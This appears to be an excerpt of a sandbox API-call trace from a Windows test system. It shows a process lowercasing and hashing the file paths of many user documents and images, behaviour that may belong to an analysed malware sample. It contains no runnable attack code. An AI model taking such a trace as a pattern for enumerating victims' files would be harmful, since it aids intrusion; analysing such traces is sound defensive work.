	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 0x3c
	[0099.058] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx/") returned 0x3d
	[0099.058] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.058] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.059] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.059] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 0x49
	[0099.059] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx" | out: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx"
	[0099.059] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.059] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 0x49
	[0099.059] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0099.059] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.059] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.059] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 0x49
	[0099.059] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.059] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx/") returned 0x4a
	[0099.059] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x96, dwFlags=0x0) returned 1
	[0099.059] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.060] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 0x66
	[0099.060] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp"
	[0099.060] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 0x66
	[0099.060] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xce, dwFlags=0x0) returned 1
	[0099.060] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.060] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 0x66
	[0099.060] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp/") returned 0x67
	[0099.060] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0099.060] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.060] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 0x2b
	[0099.060] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/gjve.gif" | out: _String="file:///c:/users/aetadzjz/pictures/gjve.gif") returned="file:///c:/users/aetadzjz/pictures/gjve.gif"
	[0099.060] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 0x2b
	[0099.060] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x58, dwFlags=0x0) returned 1
	[0099.060] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.060] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.060] wcslen (_String="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 0x2b
	[0099.060] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/pictures/gjve.gif/") returned 0x2c
	[0099.061] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0099.061] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.061] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 0x57
	[0099.061] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp"
	[0099.061] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 0x57
	[0099.061] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb0, dwFlags=0x0) returned 1
	[0099.061] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.061] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 0x57
	[0099.061] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp/") returned 0x58
	[0099.061] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0099.061] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.061] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 0x48
	[0099.061] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp" | out: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp"
	[0099.061] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.061] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 0x48
	[0099.061] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x92, dwFlags=0x0) returned 1
	[0099.061] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.062] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 0x48
	[0099.062] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp/") returned 0x49
	[0099.062] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0099.062] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.062] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 0x43
	[0099.062] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp"
	[0099.062] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 0x43
	[0099.062] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x88, dwFlags=0x0) returned 1
	[0099.062] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.062] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 0x43
	[0099.062] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp/") returned 0x44
	[0099.062] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0099.062] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.062] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.062] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 0x5f
	[0099.062] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg"
	[0099.063] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 0x5f
	[0099.063] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0099.063] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.063] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 0x5f
	[0099.063] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg/") returned 0x60
	[0099.063] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0099.063] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.063] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 0x67
	[0099.063] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods"
	[0099.063] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 0x67
	[0099.063] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0099.063] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.063] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 0x67
	[0099.063] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.063] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods/") returned 0x68
	[0099.063] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd2, dwFlags=0x0) returned 1
	[0099.063] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.064] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 0x37
	[0099.064] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt"
	[0099.064] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 0x37
	[0099.064] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.064] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.064] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 0x37
	[0099.064] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt/") returned 0x38
	[0099.064] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.064] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.064] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 0x34
	[0099.064] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx" | out: _String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx"
	[0099.064] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 0x34
	[0099.064] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.064] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.064] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.064] wcslen (_String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 0x34
	[0099.065] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx/") returned 0x35
	[0099.065] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.065] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.065] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 0x3c
	[0099.065] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx" | out: _String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx"
	[0099.065] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 0x3c
	[0099.065] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.065] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.065] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 0x3c
	[0099.065] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx/") returned 0x3d
	[0099.065] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.065] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.065] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 0x75
	[0099.065] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx"
	[0099.065] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.065] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 0x75
	[0099.065] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xec, dwFlags=0x0) returned 1
	[0099.065] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.066] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 0x75
	[0099.066] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx/") returned 0x76
	[0099.066] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xee, dwFlags=0x0) returned 1
	[0099.066] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.066] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 0x41
	[0099.066] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods"
	[0099.066] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 0x41
	[0099.066] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0099.066] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.066] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 0x41
	[0099.066] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods/") returned 0x42
	[0099.066] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0099.066] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.066] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.066] wcslen (_String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 0x32
	[0099.066] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps" | out: _String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps"
	[0099.066] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 0x32
	[0099.067] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x66, dwFlags=0x0) returned 1
